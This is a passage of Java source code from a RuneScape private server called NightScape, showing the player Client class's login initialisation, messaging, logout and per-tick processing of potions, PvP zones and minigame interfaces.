  816. } else if (mag > attstr) {
  817. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  818. + ((getLevelForXP(playerXP[3])) * 0.25)
  819. + ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[6])) * 0.4875));
  820. } else {
  821. combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
  822. + ((getLevelForXP(playerXP[3])) * 0.25)
  823. + ((getLevelForXP(playerXP[5])) * 0.125)
  824. + ((getLevelForXP(playerXP[0])) * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325));
  825. }
  826. }
  827.  
  828. public void sendMessage(String s) {
  829. // synchronized (this) {
  830. if (getOutStream() != null) {
  831. outStream.createFrameVarSize(253);
  832. outStream.writeString(s);
  833. outStream.endFrameVarSize();
  834. }
  835.  
  836. }
  837.  
  838. public void globalMessage(String message) {
  839. for (Player p : PlayerHandler.players) {
  840. if (p == null)
  841. continue;
  842. Client c = (Client) p;
  843. c.sendMessage(message);
  844. }
  845. }
  846.  
  847. public void setSidebarInterface(int menuId, int form) {
  848. // synchronized (this) {
  849. if (getOutStream() != null) {
  850. outStream.createFrame(71);
  851. outStream.writeWord(form);
  852. outStream.writeByteA(menuId);
  853. }
  854.  
  855. }
  856.  
  857. public void autoMessage(String q) {
  858. for (int j = 0; j < PlayerHandler.players.length; j++) {
  859. if (PlayerHandler.players[j] != null) {
  860. Client c2 = (Client) PlayerHandler.players[j];
  861. c2.sendMessage(q);
  862. }
  863. }
  864. }
  865.  
  866. public void joinHelpCC() {
  867. if (clan == null) {
  868. Clan localClan = Server.clanManager.getClan("Help");
  869. if (localClan != null)
  870. localClan.addMember(this);
  871. else if ("Help".equalsIgnoreCase(this.playerName))
  872. Server.clanManager.create(this);
  873.  
  874. inArdiCC = false;
  875. }
  876. }
  877. public void joinPvpHelpCC() {
  878. if (clan == null) {
  879. Clan localClan = Server.clanManager.getClan("Pvp Help");
  880. if (localClan != null)
  881. localClan.addMember(this);
  882. else if ("Pvp Help".equalsIgnoreCase(this.playerName))
  883. Server.clanManager.create(this);
  884.  
  885. inArdiCC = false;
  886. }
  887. }
  888. public static void handleWelcomeInterface(Client c) {
  889. c.getPA().showInterface(15244); //Problem is buttons do not show up with images. Pointless?
  890. c.getPA().sendFrame126("@bla@Welcome to NightScape!", 15257);
  891. c.getPA().sendFrame126("Owner: Night - Last connected from: "+ c.connectedFrom, 15258);
  892. if(c.hasRecov) {
  893. c.getPA().sendFrame126("@gre@Your account is secure.\\n You have set a recovery email.\\n Post a request on forums\\n in order to change your email.", 15259);
  894. } else {
  895. c.getPA().sendFrame126("@red@Your account is at risk.\\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account\\nif you are hacked.", 15259);
  896. }
  897. c.getPA().sendFrame126("This will be used to send\\nmessages to you in the future.", 15260);
  898. if (c.setPin) {
  899. c.getPA().sendFrame126("@gre@Your bank is safe. \\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account!", 15270);
  900. } else {
  901. c.getPA().sendFrame126("@red@Your bank is at risk. \\nWe suggest making a \\nbank pin to secure your bank\\n We are not responsible for hacked items!", 15270);
  902. }
  903. c.getPA().sendFrame126("None", 15261);
  904. if (c.playerRights == 4 || c.isDonator == 1) {
  905. c.getPA().sendFrame126("You're currently a Donator! \\nEnjoy the server with all your features!\\n Remember, you are awesome!", 15262);
  906. } else if (c.playerRights == 5 || c.isDonator == 2) {
  907. c.getPA().sendFrame126("You're currently an Extreme Donator! \\nEnjoy the server with all your features!\\n Remember, you are very awesome!", 15262);
  908. } else if (c.playerRights == 8 || c.isDonator == 3) {
  909. c.getPA().sendFrame126("You're currently a Legendary Donator! \\nEnjoy the server with your features!\\n Remember, you are super awesome!", 15262);
  910. } else {
  911. c.getPA().sendFrame126("You are not a Donator. \\nWe suggest you become one since it\\nHas huge benefits! A list\\ncan be found on the forums!", 15262);
  912. }
  913. c.getPA().sendFrame126("Play NightScape", 15263);
  914. }
  915.  
  916. @Override
  917. public void initialize() {
  918. UUID = RS2LoginProtocol.UUID;
  919.  
  920. //handleWelcomeInterface(this); //Above...
  921. getPA().sendFrame126("DDS + Whip", 669);
  922. writeStreamByte();
  923. PvPHandler.handleLogin(this);
  924. Server.lottery.checkUnclaimedWinners(this);
  925. // PlayersOnline.createCon();
  926. // PlayersOnline.online(this);
  927. //isIronMan = false;
  928.  
  929. if (!playerName.equalsIgnoreCase("tyler")) { //I log in and out too much to have this message.
  930. if (playerRights == 1) {
  931. for (int j = 0; j < PlayerHandler.players.length; j++) {
  932. if (PlayerHandler.players[j] != null) {
  933. Client c2 = (Client) PlayerHandler.players[j];
  934. c2.sendMessage("[@blu@Moderator@bla@] @cr1@@bla@ "
  935. + Misc.ucFirst(playerName) + " @blu@has logged in.");
  936. }
  937. }
  938. } else if(playerRights == 2) {
  939. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  940. if (Server.playerHandler.players[j] != null) {
  941. Client c2 = (Client)Server.playerHandler.players[j];
  942. c2.sendMessage("@yel@[Admin] @cr2@@whi@" +playerName+ "@bla@ has just logged in!");
  943. }
  944. }
  945. } else if(playerRights == 3) {
  946. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  947. if (Server.playerHandler.players[j] != null) {
  948. Client c2 = (Client)Server.playerHandler.players[j];
  949. c2.sendMessage("@red@[Owner] @cr2@@dre@" +playerName+ "@dre@ has just logged in.");
  950. }
  951. }
  952. } else if(playerRights == 5) {
  953. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  954. if (Server.playerHandler.players[j] != null) {
  955. Client c2 = (Client)Server.playerHandler.players[j];
  956. c2.sendMessage("@blu@[Extreme Donator] @cr4@@bla@" +playerName+ " has just logged in.");
  957. }
  958. }
  959. } else if(playerRights == 7) {
  960. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  961. if (Server.playerHandler.players[j] != null) {
  962. Client c2 = (Client)Server.playerHandler.players[j];
  963. c2.sendMessage("@blu@[Staff] @cr6@@whi@" +playerName+ "@blu@ has just logged in.");
  964. }
  965. }
  966. } else if(playerRights == 8) {
  967. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  968. if (Server.playerHandler.players[j] != null) {
  969. Client c2 = (Client)Server.playerHandler.players[j];
  970. c2.sendMessage("@pur@[Legendary Donator] @cr7@@pur@" +playerName+ "@bla@ has just logged in.");
  971. }
  972. }
  973. }
  974. }
  975. getPA().loadQuests();
  976. getPA().loadQuest2();
  977. getPA().sendFrame127(runEnergy + "%", 149);
  978. isFullHelm = Item.isFullHelm(playerEquipment[playerHat]);
  979. isFullMask = Item.isFullMask(playerEquipment[playerHat]);
  980. isFullBody = Item.isFullBody(playerEquipment[playerChest]);
  981. getPA().sendFrame36(173, isRunning2 ? 1 : 0);
  982. sendMessage("@bla@[@blu@Attention@bla@]:@red@Thanks for playing NightScape!");
  983. sendMessage("There are currently @red@"+ PlayerHandler.getPlayerCount() + " @bla@players online.");
  984. /**if (expLock == true) {
  985. sendMessage("Your experience is now locked. You will not gain experience.");
  986. } else {
  987. sendMessage("Your experience is now unlocked. You will gain experience.");
  988. }**/
  989. if (Config.SERVER_EXP_BONUS == 2) {
  990. sendMessage("@bla@[@blu@Attention@bla@]:@red@ Double experience is active.");
  991. }
  992. calcCombat();
  993. Pet.ownerLoggedIn(this);
  994. /*
  995. * if (playerRights != 3 || playerRights != 2) { Highscores.process(); }
  996. */
  997. outStream.createFrame(249);
  998. outStream.writeByteA(1); // 1 for members, zero for free
  999. outStream.writeWordBigEndianA(playerId);
  1000. for (int j = 0; j < PlayerHandler.players.length; j++) {
  1001. if (j == playerId)
  1002. continue;
  1003. if (PlayerHandler.players[j] != null) {
  1004. if (PlayerHandler.players[j].playerName
  1005. .equalsIgnoreCase(playerName))
  1006. disconnected = true;
  1007. }
  1008. }
  1009. // Connection.addIpToLoginList(this.getConnectedFrom());
  1010. for (int i = 0; i < 25; i++) {
  1011. getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
  1012. getPA().refreshSkill(i);
  1013. getPA().refreshSkill(21);
  1014. getPA().refreshSkill(22);
  1015. }
  1016. for (int p = 0; p < PRAYER.length; p++) { // reset prayer glows
  1017. prayerActive[p] = false;
  1018. getPA().sendFrame36(PRAYER_GLOW[p], 0);
  1019. }
  1020. getPA().handleWeaponStyle();
  1021. getPA().handleLoginText();
  1022. accountFlagged = getPA().checkForFlags();
  1023. getPA().sendFrame36(108, 0);// resets autocast button
  1024. getPA().sendFrame36(172, 1);
  1025. getPA().sendFrame107(); // reset screen
  1026. getPA().setChatOptions(0, 0, 0); // reset private messaging options
  1027. setSidebarInterface(1, 3917);
  1028. // setSidebarInterface(1, 31110);
  1029. setSidebarInterface(2, 638);
  1030. setSidebarInterface(3, 3213);
  1031. setSidebarInterface(4, 1644);
  1032. setSidebarInterface(5, 5608);
  1033. if (playerMagicBook == 0) {
  1034. setSidebarInterface(6, 1151); // modern
  1035. }
  1036. if (playerMagicBook == 1) {
  1037. setSidebarInterface(6, 12855); // ancient
  1038. }
  1039. if (playerMagicBook == 2) {
  1040. setSidebarInterface(6, 29999); // ancient
  1041. }
  1042. if (splitChat == false) {
  1043. getPA().sendFrame36(502, 0);
  1044. getPA().sendFrame36(287, 0);
  1045. }
  1046. if (splitChat == true) {
  1047. getPA().sendFrame36(502, 1);
  1048. getPA().sendFrame36(287, 1);
  1049. }
  1050. correctCoordinates();
  1051. setSidebarInterface(7, 18128);
  1052. setSidebarInterface(8, 5065);
  1053. setSidebarInterface(9, 5715);
  1054. setSidebarInterface(10, 2449);
  1055. // setSidebarInterface(7, 19017);
  1056. setSidebarInterface(11, 904); // wrench tab
  1057. setSidebarInterface(12, 147); // run tab
  1058. setSidebarInterface(13, 6299);
  1059. setSidebarInterface(0, 2423);
  1060. setSidebarInterface(15, 2449);
  1061. setSidebarInterface(16, 3213);
  1062. if (lastsummon > 0) {
  1063. Summoning().SummonNewNPC(lastsummon);
  1064. }
  1065. getPA().showOption(4, 0, "Follow", 4);
  1066. pvpTeleTimer = 0;
  1067. getPA().showOption(5, 0, "Trade with", 3);
  1068. getItems().resetItems(3214);
  1069. getItems().sendWeapon(playerEquipment[playerWeapon],
  1070. getItems().getItemName(playerEquipment[playerWeapon]));
  1071. getItems().resetBonus();
  1072. getItems().getBonus();
  1073. getItems().writeBonus();
  1074. getItems().setEquipment(playerEquipment[playerHat], 1, playerHat);
  1075. getItems().setEquipment(playerEquipment[playerCape], 1, playerCape);
  1076. getItems().setEquipment(playerEquipment[playerAmulet], 1, playerAmulet);
  1077. getItems().setEquipment(playerEquipment[playerArrows],
  1078. playerEquipmentN[playerArrows], playerArrows);
  1079. getItems().setEquipment(playerEquipment[playerChest], 1, playerChest);
  1080. getItems().setEquipment(playerEquipment[playerShield], 1, playerShield);
  1081. getItems().setEquipment(playerEquipment[playerLegs], 1, playerLegs);
  1082. getItems().setEquipment(playerEquipment[playerHands], 1, playerHands);
  1083. getItems().setEquipment(playerEquipment[playerFeet], 1, playerFeet);
  1084. getItems().setEquipment(playerEquipment[playerRing], 1, playerRing);
  1085. getItems().setEquipment(playerEquipment[playerWeapon],
  1086. playerEquipmentN[playerWeapon], playerWeapon);
  1087. getCombat().getPlayerAnimIndex(
  1088. getItems().getItemName(playerEquipment[playerWeapon])
  1089. .toLowerCase());
  1090. getPA().logIntoPM();
  1091. getItems().addSpecialBar(playerEquipment[playerWeapon]);
  1092. saveTimer = Config.SAVE_TIMER;
  1093. saveCharacter = true;
  1094. Misc.println("[Logged in]: " + playerName + "");
  1095. handler.updatePlayer(this, outStream);
  1096. handler.updateNPC(this, outStream);
  1097. flushOutStream();
  1098. getPA().resetFollow();
  1099. getPA().clearClanChat();
  1100. getPA().resetFollow();
  1101. getPA().setClanData();
  1102. Connection.appendStarters();
  1103. Connection.appendStarters2();
  1104. //DonationSystem.addDonateItems(this,playerName);
  1105. if (addStarter)
  1106. getPA().addStarter();
  1107. if(playerRights != 9) {
  1108. this.joinHelpCC();
  1109. } else if(isPvpMode) {
  1110. this.joinPvpHelpCC();
  1111. }
  1112. if (hasNpc == true) {
  1113. if (summonId == 4000) {
  1114. getItems().addItem(12653, 1);
  1115. }
  1116. if (summonId == 4003) {
  1117. getItems().addItem(12694, 1);
  1118. }
  1119. if (summonId == 4001) {
  1120. getItems().addItem(12650, 1);
  1121. }
  1122. if (summonId == 4005) {
  1123. getItems().addItem(12649, 1);
  1124. }
  1125. if (summonId == 4006) {
  1126. getItems().addItem(12652, 1);
  1127. }
  1128. if (summonId == 4007) {
  1129. getItems().addItem(12651, 1);
  1130. }
  1131. if (summonId == 4008) {
  1132. getItems().addItem(12643, 1);
  1133. }
  1134. if (summonId == 4009) {
  1135. getItems().addItem(12644, 1);
  1136. }
  1137. if (summonId == 4010) {
  1138. getItems().addItem(12645, 1);
  1139. }
  1140. if (summonId == 4011) {
  1141. getItems().addItem(15568, 1);
  1142. }
  1143. if (summonId == 4012) {
  1144. getItems().addItem(15566, 1);
  1145. }
  1146. if (summonId == 4016) {
  1147. getItems().addItem(15570, 1);
  1148. }
  1149. if (summonId == 4014) {
  1150. getItems().addItem(15562, 1);
  1151. }
  1152. if (summonId == 4015) {
  1153. getItems().addItem(15560, 1);
  1154. }
  1155. if (summonId == 4013) {
  1156. getItems().addItem(15564, 1);
  1157. }
  1158. if (summonId == 6305) {
  1159. getItems().addItem(12655, 1);
  1160. }
  1161. // Server.npcHandler.spawnNpc3(this, summonId, absX, absY-1,
  1162. // heightLevel, 0, 120, 25, 200, 200, true, false, true);
  1163. summonId = 0;
  1164. hasNpc = false;
  1165. this.sendMessage("Your pet has been added to your inventory.");
  1166. }
  1167. if (autoRet == 1)
  1168. getPA().sendFrame36(172, 1);
  1169. else
  1170. getPA().sendFrame36(172, 0);
  1171. }
  1172.  
  1173. public void RefreshAllSkills() {
  1174. for (int i = 0; i < 25; i++) {
  1175. getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
  1176. getPA().refreshSkill(i);
  1177. }
  1178. }
  1179.  
  1180. @Override
  1181. public void update() {
  1182. handler.updatePlayer(this, outStream);
  1183. handler.updateNPC(this, outStream);
  1184. flushOutStream();
  1185.  
  1186. }
  1187.  
  1188. public void wildyWarning() {
  1189. getPA().showInterface(1908);
  1190. }
  1191.  
  1192. public void logout() {
  1193. if (this.clan != null) {
  1194. this.clan.removeMember(this);
  1195. }
  1196. PvPHandler.handleLogout(this);
  1197. // PlayersOnline.createCon();
  1198. // PlayersOnline.online(this);
  1199.  
  1200. /*
  1201. * if (playerRights != 2) { Highscores.save(this); }
  1202. */
  1203.  
  1204. /*
  1205. * if (lastsummon > 0) { for (int i = 0; i < Server.npcHandler.maxNPCs;
  1206. * i++) { if (Server.npcHandler.npcs[i] != null) { if
  1207. * (Server.npcHandler.npcs[i].summon == true) { if
  1208. * (Server.npcHandler.npcs[i].spawnedBy == getId()) {
  1209. * Server.npcHandler.npcs[i].isDead = true;
  1210. * Server.npcHandler.npcs[i].applyDead = true;
  1211. * Server.npcHandler.npcs[i].summon = false; } } } } }
  1212. */
  1213. Connection.removeIpFromLoginList(this.getConnectedFrom());
  1214. if (duelStatus >= 1 && duelStatus <= 5) {
  1215. sendMessage("You cannot logout during a duel.");
  1216. //getTradeAndDuel().bothDeclineDuel();
  1217. saveCharacter = true;
  1218. return;
  1219. }
  1220. if (underAttackBy > 0 || underAttackBy2 > 0)
  1221. return;
  1222. // synchronized (this) {
  1223. if (System.currentTimeMillis() - logoutDelay > 10000) {
  1224. outStream.createFrame(109);
  1225. CycleEventHandler.getSingleton().stopEvents(this);
  1226. properLogout = true;
  1227. ConnectedFrom.addConnectedFrom(this, connectedFrom);
  1228. } else {
  1229. sendMessage("You must wait a few seconds from being out of combat to logout.");
  1230. }
  1231.  
  1232. }
  1233.  
  1234. public int packetSize = 0, packetType = -1;
  1235.  
  1236. @Override
  1237. public void process() {
  1238. getPA().sendFrame126("Players Online: " + PlayerHandler.getPlayerCount(), 29155);
  1239. /*
  1240. * if (inWild() && WildernessWarning == false) { resetWalkingQueue();
  1241. * getPA().resetFollow(); wildyWarning(); WildernessWarning = true; }
  1242. */
  1243.  
  1244. if (clawDelay > 0) {
  1245. clawDelay--;
  1246. }if (superCombat > 0) {
  1247. if (superCombat == 150) {
  1248. getPA().refreshSkill(3);
  1249. sendMessage("@red@The effects caused by your super combat potion are almost gone!");
  1250. }
  1251. if (superCombat == 600 || superCombat == 597 || superCombat == 595 || superCombat == 593 || superCombat == 591 || superCombat == 570 || superCombat == 540 || superCombat == 510 || superCombat == 480 || superCombat == 450 || superCombat == 420 || superCombat == 390 || superCombat == 360 || superCombat == 330 || superCombat == 300 || superCombat == 270 || superCombat == 240 || superCombat == 210 || superCombat == 180 || superCombat == 150 || superCombat == 120 || superCombat == 90 || superCombat == 60 || superCombat == 30) {
  1252. superCombat();
  1253. getPA().refreshSkill(3);
  1254. }
  1255. superCombat--;
  1256. if (superCombat == 0) {
  1257. sendMessage("Your super combat potion has worn off.");
  1258. //playerLevel[3] += 50;
  1259. if (playerLevel[3] > playerLevel[playerHitpoints]) {
  1260. playerLevel[3] = playerLevel[playerHitpoints];
  1261. }
  1262. getPA().refreshSkill(3);
  1263. playerLevel[0] = getLevelForXP(playerXP[0]);
  1264. playerLevel[1] = getLevelForXP(playerXP[1]);
  1265. playerLevel[2] = getLevelForXP(playerXP[2]);
  1266. playerLevel[4] = getLevelForXP(playerXP[4]);
  1267. playerLevel[6] = getLevelForXP(playerXP[6]);
  1268. superCombat = 0;
  1269. for (int i = 0; i <= 6 && i != 5; i++) {
  1270. getPA().refreshSkill(i);
  1271. }
  1272.  
  1273. }
  1274. }
  1275. if (overload > 0) {
  1276. if (overload == 600 || overload == 597 || overload == 595 || overload == 593 || overload == 591) {
  1277. overloadHit();
  1278. getPA().refreshSkill(3);
  1279. }
  1280. if (overload == 570 || overload == 540 || overload == 510 || overload == 480 || overload == 450 || overload == 420 || overload == 390 || overload == 360 || overload == 330 || overload == 300 || overload == 270 || overload == 240 || overload == 210 || overload == 180 || overload == 150 || overload == 120 || overload == 90 || overload == 60 || overload == 30) {
  1281. overload();
  1282. getPA().refreshSkill(3);
  1283. }
  1284. overload--;
  1285. if (overload == 0 || inWild()) {
  1286. sendMessage("The effects of the overload potion have worn off...");
  1287. //playerLevel[3] += 50;
  1288. if (playerLevel[3] > playerLevel[playerHitpoints]) {
  1289. playerLevel[3] = playerLevel[playerHitpoints];
  1290. }
  1291. getPA().refreshSkill(3);
  1292. playerLevel[0] = getLevelForXP(playerXP[0]);
  1293. playerLevel[1] = getLevelForXP(playerXP[1]);
  1294. playerLevel[2] = getLevelForXP(playerXP[2]);
  1295. playerLevel[4] = getLevelForXP(playerXP[4]);
  1296. playerLevel[6] = getLevelForXP(playerXP[6]);
  1297. overload = 0;
  1298. for (int i = 0; i <= 6 && i != 5; i++) {
  1299. getPA().refreshSkill(i);
  1300. }
  1301.  
  1302. }
  1303. }
  1304. if (clawDelay == 1) {
  1305. delayedDamage = (clawDamage / 4);
  1306. delayedDamage2 = (clawDamage / 4) + 1;
  1307. if (clawType == 2) {
  1308. getCombat().applyNpcMeleeDamage(clawIndex, 1, clawDamage / 4);
  1309. }
  1310. if (clawType == 1) {
  1311. getCombat()
  1312. .applyPlayerMeleeDamage(clawIndex, 1, clawDamage / 4);
  1313. }
  1314. if (clawType == 2) {
  1315. getCombat().applyNpcMeleeDamage(clawIndex, 2,
  1316. (clawDamage / 4) + 1);
  1317. }
  1318. if (clawType == 1) {
  1319. getCombat().applyPlayerMeleeDamage(clawIndex, 2,
  1320. (clawDamage / 4) + 1);
  1321. }
  1322. clawDelay = 0;
  1323. specEffect = 0;
  1324. previousDamage = 0;
  1325. usingClaws = false;
  1326. clawType = 0;
  1327. }
  1328. if (runEnergy < 100) {
  1329. if (System.currentTimeMillis() > getPA().getAgilityRunRestore(this)
  1330. + lastRunRecovery) {
  1331. runEnergy++;
  1332. lastRunRecovery = System.currentTimeMillis();
  1333. getPA().sendFrame126(runEnergy + "%", 149);
  1334. }
  1335. }
  1336. if (walkingToItem) {
  1337. if (getX() == pItemX && getY() == pItemY
  1338. || goodDistance(getX(), getY(), pItemX, pItemY, 1)) {
  1339. walkingToItem = false;
  1340. Server.itemHandler.removeGroundItem(this, pItemId, pItemX,
  1341. pItemY, true);
  1342. }
  1343. }
  1344. if (System.currentTimeMillis() - restoreStatsDelay > (zerkOn ? 90000
  1345. : 60000)) {
  1346. restoreStatsDelay = System.currentTimeMillis();
  1347. for (int level = 0; level < playerLevel.length; level++) {
  1348. if (playerLevel[level] < getLevelForXP(playerXP[level])) {
  1349. if (level != 5) { // prayer doesn't restore
  1350. playerLevel[level] += 1;
  1351. getPA().setSkillLevel(level, playerLevel[level],
  1352. playerXP[level]);
  1353. getPA().refreshSkill(level);
  1354. }
  1355. } else if (playerLevel[level] > getLevelForXP(playerXP[level])
  1356. && level != 3) {
  1357. playerLevel[level] -= 1;
  1358. getPA().setSkillLevel(level, playerLevel[level],
  1359. playerXP[level]);
  1360. getPA().refreshSkill(level);
  1361. }
  1362. }
  1363.  
  1364. getPotSmoking().processMunnchies();
  1365. }
  1366.  
  1367. if (System.currentTimeMillis() - duelDelay > 1000 && duelCount > 0) {
  1368. if (duelCount != 1) {
  1369. forcedChat("" + (--duelCount));
  1370. duelDelay = System.currentTimeMillis();
  1371. } else {
  1372. damageTaken = new int[Config.MAX_PLAYERS];
  1373. forcedChat("FIGHT!");
  1374. duelCount = 0;
  1375. }
  1376. }
  1377. if (System.currentTimeMillis() - specDelay > Config.INCREASE_SPECIAL_AMOUNT) {
  1378. specDelay = System.currentTimeMillis();
  1379. if (specAmount < 10) {
  1380. specAmount += 1;
  1381. if (specAmount > 10)
  1382. specAmount = 10;
  1383. getItems().addSpecialBar(playerEquipment[playerWeapon]);
  1384. }
  1385. }
  1386. /*if (isPvpMode) {
  1387. if (!inPvP()) {
  1388. pvpTeleTimer = 7;
  1389. }
  1390. }*/
  1391. if (yellTimer > 0) {
  1392. yellTimer--;
  1393. }
  1394. if(pvpnewtimer > 0) {
  1395. pvpnewtimer--;
  1396. if (pvpnewtimer == 0 && isPvpMode) {
  1397. sendMessage("@red@[ALERT]: @gre@You can now be attacked by other PvP mode Players!");
  1398. pvpnewtimer = 0;
  1399. }
  1400. }
  1401. //if (summonSpec > 0) {
  1402. //summonSpec--;
  1403. //}
  1404.  
  1405. if (followId > 0) {
  1406. getPA().followPlayer();
  1407. } else if (followId2 > 0) {
  1408. getPA().followNpc();
  1409. }
  1410. getCombat().handlePrayerDrain();
  1411. if (System.currentTimeMillis() - singleCombatDelay > 3300) {
  1412. underAttackBy = 0;
  1413. }
  1414. if (System.currentTimeMillis() - singleCombatDelay2 > 3300) {
  1415. underAttackBy2 = 0;
  1416. }
  1417. if (isPvpMode && !inSafeArea() && !inPcBoat() && !inPcGame()) {
  1418. //PvPHandler.handleInterfaces(this);
  1419. getPA().walkableInterface(197);
  1420. int modY = absY > 6400 ? absY - 6400 : absY;
  1421. areaLevel = "3-126";
  1422. if (Config.SINGLE_AND_MULTI_ZONES) {
  1423. if (inMulti()) {
  1424. getPA().sendFrame126("@red@" + areaLevel, 199);
  1425. } else {
  1426. getPA().sendFrame126("@red@" + areaLevel, 199);
  1427. }
  1428. } else {
  1429. getPA().multiWay(-1);
  1430. getPA().sendFrame126("@red@Level: " + areaLevel, 199);
  1431. }
  1432. getPA().showOption(3, 0, "Attack", 1);
  1433. } else if (isPvpMode && inSafeArea()) {
  1434. //PvPHandler.handleInterfaces(this);
  1435. getPA().walkableInterface(197);
  1436. int modY = absY > 6400 ? absY - 6400 : absY;
  1437. areaLevel = "SAFE";
  1438. if (Config.SINGLE_AND_MULTI_ZONES) {
  1439. if (inMulti()) {
  1440. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1441. } else {
  1442. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1443. }
  1444. } else {
  1445. getPA().multiWay(-1);
  1446. getPA().sendFrame126("@gre@" + areaLevel, 199);
  1447. }
  1448. getPA().showOption(3, 0, "null", 1); //Removes attack option in safe zone - Tyler @ Ryan
  1449. } else if (inWild()) {
  1450. PvPHandler.handleInterfaces(this);
  1451. // getPA().walkableInterface(197);
  1452. int modY = absY > 6400 ? absY - 6400 : absY;
  1453. wildLevel = (((modY - 3520) / 8) + 1);
  1454. if (Config.SINGLE_AND_MULTI_ZONES) {
  1455. if (inMulti()) {
  1456. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1457. } else {
  1458. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1459. }
  1460. } else {
  1461. getPA().multiWay(-1);
  1462. getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
  1463. }
  1464. getPA().showOption(3, 0, "Attack", 1);
  1465. } else if (inMithWild()) {
  1466. int modY = absY > 6400 ? absY - 6400 : absY;
  1467. wildMithLevel = 30;
  1468. getPA().walkableInterface(197);
  1469. getPA().multiWay(-1);
  1470. getPA().sendFrame126("@yel@Level: " + wildMithLevel, 199);
  1471. getPA().showOption(3, 0, "Attack", 1);
  1472. } else if (this.isInBarrows()) {
  1473. this.getPA().sendFrame126("Kill Count: " + this.barrowsKillCount,
  1474. 4536);
  1475. this.getPA().walkableInterface(4535);
  1476. this.getPA().showOption(3, 0, "null", 1);
  1477. this.getPA().showOption(2, 0, "null", 1);
  1478. } else if (inPcBoat()) {
  1479. getPA().sendFrame126(
  1480. "Next Departure: " + PestControl.waitTimer + "", 21120);
  1481. getPA().sendFrame126(
  1482. "Players Ready: " + PestControl.playersInBoat() + "", 21121);
  1483. getPA().sendFrame126("(Need 3 to 25 players)", 21122);
  1484. getPA().sendFrame126("Pest Points: " + pcPoints + "", 21123);
  1485. getPA().walkableInterface(21119);
  1486. } else if (inPcGame()) {
  1487. for (j = 0; j < NPCHandler.npcs.length; j++) {
  1488. if (NPCHandler.npcs[j] != null) {
  1489. if (NPCHandler.npcs[j].npcType == 6142) {
  1490. if (NPCHandler.npcs[j].isDead) {
  1491. getPA().sendFrame126("Dead", 21111);
  1492. } else
  1493. getPA().sendFrame126(
  1494. "" + NPCHandler.npcs[j].HP + "", 21111);
  1495. }
  1496. if (NPCHandler.npcs[j].npcType == 6143) {
  1497. if (NPCHandler.npcs[j].isDead) {
  1498. getPA().sendFrame126("Dead", 21112);
  1499. } else
  1500. getPA().sendFrame126(
  1501. "" + NPCHandler.npcs[j].HP + "", 21112);
  1502. }
  1503. if (NPCHandler.npcs[j].npcType == 6144) {
  1504. if (NPCHandler.npcs[j].isDead) {
  1505. getPA().sendFrame126("Dead", 21113);
  1506. } else
  1507. getPA().sendFrame126(
  1508. "" + NPCHandler.npcs[j].HP + "", 21113);
  1509. }
  1510. if (NPCHandler.npcs[j].npcType == 6145) {
  1511. if (NPCHandler.npcs[j].isDead) {
  1512. getPA().sendFrame126("Dead", 21114);
  1513. } else
  1514. getPA().sendFrame126(
  1515. "" + NPCHandler.npcs[j].HP + "", 21114);
  1516. }
  1517. }
  1518. }
  1519. getPA().sendFrame126("0", 21115);
  1520. if (pcDamage < 50) {
  1521. getPA().sendFrame126("@red@" + pcDamage + "", 21116);
  1522. } else {
  1523. getPA().sendFrame126("@gre@" + pcDamage + "", 21116);
  1524. }
  1525. getPA().sendFrame126(
  1526. "Time remaining: " + PestControl.gameTimer + "", 21117);
  1527. getPA().walkableInterface(21100);
  1528. } else if (inZombieWait()) {
  1529. getPA().sendFrame126("", 15894);
  1530. getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
  1531. getPA().sendFrame126(
  1532. ZombieWaves.waitTimer < 0 ? "Game In Progress"
  1533. : "Next Departure: " + ZombieWaves.waitTimer, 15897);
  1534. getPA().sendFrame126(
  1535. "Players Ready: " + ZombieWaves.inZombieWaitCount(), 15898);
  1536. getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
  1537. getPA().sendFrame126("", 15896);
  1538. getPA().sendFrame126("", 15900);
  1539. getPA().sendFrame126("", 15901);
  1540. getPA().sendFrame126("", 15902);
  1541. getPA().sendFrame126("", 15903);
  1542. getPA().sendFrame126("", 15904);
  1543. getPA().sendFrame126("", 15905);
  1544. getPA().sendFrame126("", 15906);
  1545. getPA().walkableInterface(15892);
  1546. } else if (inZombieGame()) {
  1547. getPA().sendFrame126("", 15894);
  1548. getPA().sendFrame126(" @gre@Nightmare Zone", 15895);
  1549. getPA().sendFrame126("Wave Number " + ZombieWaves.zombieWaveId,
  1550. 15897);
  1551. getPA().sendFrame126("Bosses Left: " + ZombieWaves.zombieAmount,
  1552. 15898);
  1553. getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
  1554. getPA().sendFrame126("", 15896);
  1555. getPA().sendFrame126("", 15900);
  1556. getPA().sendFrame126("", 15901);
  1557. getPA().sendFrame126("", 15902);
  1558. getPA().sendFrame126("", 15903);
  1559. getPA().sendFrame126("", 15904);
  1560. getPA().sendFrame126("", 15905);
  1561. getPA().sendFrame126("", 15906);
  1562. getPA().walkableInterface(15892);
  1563. } else if (inDuelArena()) {
  1564. getPA().walkableInterface(201);
  1565. if (duelStatus == 5) {
  1566. getPA().showOption(3, 0, "Attack", 1);
  1567. } else {
  1568. getPA().showOption(3, 0, "Challenge", 1);
  1569. }
  1570. } else if (inCwGame || inPits) {
  1571. getPA().showOption(3, 0, "Attack", 1);
  1572. } else if (getPA().inPitsWait()) {
  1573. getPA().showOption(3, 0, "Null", 1);
  1574. } else if (!inCwWait) {
  1575. getPA().sendFrame99(0);
  1576. getPA().walkableInterface(-1);
  1577. getPA().showOption(3, 0, "Null", 1);
  1578. } else if (inPits) {
